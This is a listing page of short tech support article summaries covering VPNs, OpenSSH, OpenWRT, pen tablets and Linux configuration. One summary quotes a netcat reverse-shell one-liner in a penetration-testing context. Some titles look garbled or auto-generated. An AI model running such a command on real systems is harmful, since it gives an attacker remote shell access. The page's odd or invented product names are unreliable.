Articles about pen | UserComp.com | Page [ 6 ]

Changing LAN IPv4 DHCP makes OpenSense Unreachable on Hetzner
Changing LAN IPv4 DHCP makes OpenSense Unreachable on Hetzner

In this article, we will guide you through the process of resolving the issue of OpenSense becoming unreachable after changing the LAN IPv4 DHCP settings on Hetzner.

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Successfully Deploying OpenVPN with pfSense Firewall Behind Starlink Dish
Successfully Deploying OpenVPN with pfSense Firewall Behind Starlink Dish

This article explains the process of successfully deploying OpenVPN with a pfSense firewall behind a Starlink dish. The connection between the Netgate pfSense firewall and the Starlink dish has been established, and both WAN and LAN are running smoothly. Port 1 WAN (192.168.xxx.x) has been configured. Learn how to configure OpenVPN with pfSense and Starlink.

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Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix
Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

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Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet
Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

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Configuring OpenConnect VPN with NetworkManager on Linux for Split-Tunnel and Subnet Restriction
Configuring OpenConnect VPN with NetworkManager on Linux for Split-Tunnel and Subnet Restriction

Learn how to set up a Split-Tunnel VPN using OpenConnect plugin with NetworkManager on Linux (Kubuntu), restricting VPN usage to a particular subnet by specifying an IPv4 route.

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OpenSSH 9.6 Supports ED25519 PEM Keys for SSH
OpenSSH 9.6 Supports ED25519 PEM Keys for SSH

OpenSSH 9.6 introduces support for reading ED25519 private keys in PEM format for ssh(1), sshd(8), ssh-add(1), and ssh-keygen(1).

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SSH Port Forwarding Not Working: A Troubleshooting Guide for Fedora 39 and Linksys WRT32X Router
SSH Port Forwarding Not Working: A Troubleshooting Guide for Fedora 39 and Linksys WRT32X Router

This article provides a step-by-step guide to troubleshoot SSH port forwarding issues when using Fedora 39 as the server and a Linksys WRT32X router with OpenWRT 23.05.x. Learn how to configure your server and router to establish a secure and functional connection.

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Enabling Internet Access for an OpenWrt Hyper-V Virtual Machine
Enabling Internet Access for an OpenWrt Hyper-V Virtual Machine

Learn how to set up internet access for an OpenWrt virtual machine running in Hyper-V.

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Router SSID Disappearing: A Solution for Linksys OpenWRT Snapshot Users
Router SSID Disappearing: A Solution for Linksys OpenWRT Snapshot Users

Users of the Linksys router with OpenWRT snapshot installation report that the router's SSID disappears periodically from the list of available networks for clients to connect. This article provides a solution to the problem.

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Enabling Suspend Disk (Hibernation) on Fedora Desktop Systems with Full Disk Encryption
Enabling Suspend Disk (Hibernation) on Fedora Desktop Systems with Full Disk Encryption

Learn how to enable suspend disk (hibernation) on Fedora Desktop Systems with full disk encryption. This tutorial covers the process for a Dell XPS 13 9300 using the Fedora Workstation Edition and GNOME session menu.

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Setting up Bluetooth Network for OpenCPN on Lenovo Laptop with External GPS Dongle and Microsoft Surface Go 2
Setting up Bluetooth Network for OpenCPN on Lenovo Laptop with External GPS Dongle and Microsoft Surface Go 2

Learn how to set up a Bluetooth network for OpenCPN on a Lenovo laptop with an external GPS dongle and Microsoft Surface Go 2.

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Relative Positioning of Ugee M708 Clipart Studio with OpenPressure in Windows Ink Mode
Relative Positioning of Ugee M708 Clipart Studio with OpenPressure in Windows Ink Mode

Learn how to properly position the Ugee M708 Clipart Studio tablet while using OpenPressure and Windows Ink Mode to prevent the cursor from jumping around.

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Pen Pressure Not Working in Geметal G708 Cintiq with Windows Ink Mode
Pen Pressure Not Working in Geметal G708 Cintiq with Windows Ink Mode

Users report pen pressure issues when using the Geometal G708 Cintiq tablet with Windows Ink Mode instead of mouse mode.

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Exploring Excel-like Formatting Functionalities in Opening CSV Files
Exploring Excel-like Formatting Functionalities in Opening CSV Files

Learn how to use ribbon formatting options when opening CSV files to display data in a more Excel-like format.

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Windows 11: Pen Interactions Not Working with Textboxes and Dropdown Menus
Windows 11: Pen Interactions Not Working with Textboxes and Dropdown Menus

Experiencing issues with pen interactions not working properly around textboxes and dropdown menus in Windows 11? Learn how to troubleshoot and resolve this problem.

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Is It Illegal to Download Modified GNU GNU2.0 Licensed Software?
Is It Illegal to Download Modified GNU GNU2.0 Licensed Software?

Users often find software with GNU GNU2.0 licenses that offer support services at different prices. Some sites sell software with modified licenses. Is it illegal to download such software?

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Using Azure Key Vault Secrets in GitLab CI Jobs: A Step-by-Step Guide
Using Azure Key Vault Secrets in GitLab CI Jobs: A Step-by-Step Guide

Learn how to configure GitLab CI jobs to use Azure Key Vault secrets and retrieve temporary credentials. This step-by-step guide covers setting up federated ID and the necessary configurations.

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GeForce RTX 4060 Ti Doesn't Support OpenGL 1.1: Blender, DaVinci Resolve, and Installed NVIDIA Driver Issues
GeForce RTX 4060 Ti Doesn't Support OpenGL 1.1: Blender, DaVinci Resolve, and Installed NVIDIA Driver Issues

Users of the GeForce RTX 4060 Ti have reported issues with OpenGL 1.1 compatibility, affecting the use of Blender, DaVinci Resolve, and other applications. This article provides potential solutions, including updating the NVIDIA driver to the latest version.

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openSUSE Tumbleweed: Cannot Set Locale - Ensure $LC_*$ LANG Correct?
openSUSE Tumbleweed: Cannot Set Locale - Ensure $LC_*$ LANG Correct?

Users of openSUSE Tumbleweed x86_64 have reported issues with console applications complaining about locale settings. This article provides a solution to ensure the correct locale is set by checking and configuring the $LC_*$ LANG environment variables.

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Installing Compile-Dependent Applications in Carabela using Jarc++
Installing Compile-Dependent Applications in Carabela using Jarc++

Learn how to install compile-dependent applications using Carabela and Jarc++ on various operating systems. Find the required application links below.

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Disabling Mouse Motion Graphics Tablet in Windows 11 H2 without Disabling HID-Driver: Aiptek HyperPen 12000U
Disabling Mouse Motion Graphics Tablet in Windows 11 H2 without Disabling HID-Driver: Aiptek HyperPen 12000U

Learn how to disable mouse motion graphics tablet in Windows 11 H2 while keeping the HID-driver enabled, specifically for the Aiptek HyperPen 12000U.

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Disable Mouse Motion Graphics Tablet in Windows 11 without Disabling HID-driver: Aiptek HyperPen 12000U
Disable Mouse Motion Graphics Tablet in Windows 11 without Disabling HID-driver: Aiptek HyperPen 12000U

Learn how to disable mouse motion graphics tablet in Windows 11 while keeping the HID-driver enabled for the Aiptek HyperPen 12000U.

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Checking if /dev/mapper/dev0 exists for luks Open decryption setup
Checking if /dev/mapper/dev0 exists for luks Open decryption setup

This article explains how to check if /dev/mapper/dev0 exists in a Linux system for setting up luks Open decryption. Follow the instructions below to ensure a successful decryption process.

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Failed to Connect to OpenGA USS-DEU: VSCode Server Not Downloaded?
Failed to Connect to OpenGA USS-DEU: VSCode Server Not Downloaded?

Learn how to troubleshoot and download VSCode Server to establish a connection to OpenGA USS-DEU when SSH fails.

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Open Cygwin, MinGW or PowerShell in Current Folder with Windows Explorer
Open Cygwin, MinGW or PowerShell in Current Folder with Windows Explorer

Learn how to open Cygwin, MinGW or PowerShell terminal directly in the current folder using Windows Explorer with a keyboard shortcut.

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Connecting Ubuntu 20.04 to Hyper-V using OpenSSH, not vsftpd
Connecting Ubuntu 20.04 to Hyper-V using OpenSSH, not vsftpd

Learn how to connect Ubuntu 20.04 to Hyper-V using OpenSSH instead of vsftpd. Follow these steps to set up a secure SSH connection.

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Opening a Video File Directly in FastStoneCapture's Video Editor
Opening a Video File Directly in FastStoneCapture's Video Editor

Learn how to open a video file directly in FastStoneCapture's built-in Video Editor using FastStone Screen Recorder (FSRecorder.exe).

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Configuring OpenKIM Signing for Outgoing Emails with SMTP on Ubuntu 20.04
Configuring OpenKIM Signing for Outgoing Emails with SMTP on Ubuntu 20.04

Learn how to configure OpenKIM for signing outgoing emails using SMTP on Ubuntu 20.04. This tutorial covers installing OpenKIM, generating keys, and enabling automatic DKIM signing.

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Using OpenCore Legacy Patcher to Update Late-2008 Aluminum Unibody MacBook5,1 to Monterey (macOS 12)
Using OpenCore Legacy Patcher to Update Late-2008 Aluminum Unibody MacBook5,1 to Monterey (macOS 12)

Learn how to use OpenCore Legacy Patcher to successfully update a Late-2008 Aluminum Unibody MacBook5,1 to macOS Monterey.

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Passwordless SSH from Linux (Fedora 39) to Windows 10 (Works with Domain Accounts, Fails with Local Users)
Passwordless SSH from Linux (Fedora 39) to Windows 10 (Works with Domain Accounts, Fails with Local Users)

This article explains how to set up passwordless SSH authentication from a Linux (Fedora 39) system to a Windows 10 (LTSC build 17763) machine using OpenSSH. It covers the configuration for both the Linux and Windows systems, and addresses issues encountered when using domain accounts versus local users.

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Error Opening Nirsoft Suite: A Comprehensive Tech Support Guide
Error Opening Nirsoft Suite: A Comprehensive Tech Support Guide

Learn how to resolve common issues when encountering the 'Error opening Nirsoft Suite' message. This tech support article offers solutions for both Windows and Linux users.

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Error Opening NIRF Software Suite: Troubleshooting File Copy Issues
Error Opening NIRF Software Suite: Troubleshooting File Copy Issues

Learn how to troubleshoot and resolve errors related to copying files when opening the NIRF Software Suite on various operating systems.

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Connecting OpenVPN Client to Host Server on Windows PC
Connecting OpenVPN Client to Host Server on Windows PC

Learn how to connect an OpenVPN client to a host server on a Windows PC. Initiate the connection process on the server and establish a secure VPN tunnel.

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Maintaining Cloud-to-Cloud Backup: A Good Open-Source Solution for Large Set Files
Maintaining Cloud-to-Cloud Backup: A Good Open-Source Solution for Large Set Files

Discover a reliable open-source solution for maintaining cloud-to-cloud backups, particularly for large set files. This article provides an overview of the best practices and tools to ensure seamless data transfer and protection between popular cloud services.

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Changing Ink Color and Size with Pentools Slideshow in Microsoft Office on Android using Samsung Tablet
Changing Ink Color and Size with Pentools Slideshow in Microsoft Office on Android using Samsung Tablet

Learn how to change ink color and size using Pentools Slideshow in Microsoft Office on Android while using a Samsung Tablet.

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Configuring OpenVPN with Public IP: Accessing Server from Local Network
Configuring OpenVPN with Public IP: Accessing Server from Local Network

Learn how to configure OpenVPN to allow users to access a server using a public IP address from a local network.

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Editing OpenWRT Source Code for Handshake Replacement in School Project
Editing OpenWRT Source Code for Handshake Replacement in School Project

Learn how to edit OpenWRT source code to implement a security algorithm for handshake replacement in a school project. Follow these steps to get started.

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Enforcing Maximum Authentication Time in OpenSSH Configuration
Enforcing Maximum Authentication Time in OpenSSH Configuration

Learn how to enforce a maximum authentication time limit in OpenSSH configuration to enhance server security. Implementing MaxAuthAge option.

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Installing PHP 8.2 Offline on Ubuntu 20.04: Dependencies
Installing PHP 8.2 Offline on Ubuntu 20.04: Dependencies

Learn how to download and install PHP 8.2 dependencies offline on Ubuntu 20.04 (Focal) system.

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Resolving Ping Issue: Laptop (Lenovo X1 Carbon) Unreachable - Suspend and Destination Host Unreachable
Resolving Ping Issue: Laptop (Lenovo X1 Carbon) Unreachable - Suspend and Destination Host Unreachable

Experiencing a ping issue with your Lenovo X1 Carbon running Ubuntu 22.04 while connected via wifi? Learn how to resolve the 'Suspend' and 'Destination Host Unreachable' errors.

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Using GVFS with Debian OpenBox: A How-To Guide
Using GVFS with Debian OpenBox: A How-To Guide

In this article, we will explore how to use GVFS (GNOME Virtual File System) with Debian OpenBox. We'll cover the necessary steps to install and configure GVFS on Debian, and discuss its benefits for OpenBox users. Read more to learn how to enhance your OpenBox experience.

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Installing VirtualBox on Debian 12 Testing: Dependency Issue with libvpx
Installing VirtualBox on Debian 12 Testing: Dependency Issue with libvpx

This article provides a solution for users experiencing a dependency issue while installing VirtualBox on Debian 12 Testing, specifically related to the package libvpx.

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Postfix with OpenSSL 3: Auto DH Parameters
Postfix with OpenSSL 3: Auto DH Parameters

This article explains how to configure Postfix to use OpenSSL 3's auto DH parameters.

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Postfix 3.7 and OpenSSL 3: Configuring DH Parameters
Postfix 3.7 and OpenSSL 3: Configuring DH Parameters

This article explains how to configure DH parameters in Postfix 3.7 when using OpenSSL 3.0.0 or later.

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ADFSSingleSignOn: Configuring Identity Providers for SAML and OAuth/OpenID Apps
ADFSSingleSignOn: Configuring Identity Providers for SAML and OAuth/OpenID Apps

Learn how to configure ADFS SingleSignOn for various apps that support SAML and OAuth/OpenID identity providers. Discover the differences between SAML and OAuth/OpenID and how to apply them in your setup.

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Uncovering the Origin of Unexpected Clones in Newly Opened GitHub Repos
Uncovering the Origin of Unexpected Clones in Newly Opened GitHub Repos

This article explores potential sources for unexpected clones found in newly opened GitHub repositories. The analysis includes an examination of common practices, automated processes, and potential malicious activity.

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Understanding Linux Permissions: An In-depth Look at SELinux, OpenSSH, Systemd, Docker, and RPM-based Builds
Understanding Linux Permissions: An In-depth Look at SELinux, OpenSSH, Systemd, Docker, and RPM-based Builds

In this tech support article, we will discuss the various permissions-related components in a typical Linux user-land application build system, including SELinux, OpenSSH, Systemd, Docker, and RPM-based builds.

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WireGuard on OMV: One-Way Connection Works, Configuration Adjustments
WireGuard on OMV: One-Way Connection Works, Configuration Adjustments

This article provides a solution for a one-way connection issue encountered when setting up WireGuard on OpenMediaVault (OMV). We'll discuss the required configuration adjustments to ensure a bidirectional connection.

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Strange OpenVPN Issues After Moving to a New Home Network
Strange OpenVPN Issues After Moving to a New Home Network

User experiencing issues with OpenVPN connection while working remotely in Japan after moving to a new home network. Seeking tech support to resolve the problem.

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Debug Folder No Permission in Kali Linux for OpenSSL Programs
Debug Folder No Permission in Kali Linux for OpenSSL Programs

This article explains how to grant necessary permissions to the debug folder in Kali Linux for OpenSSL programs that fail to run due to insufficient permissions.

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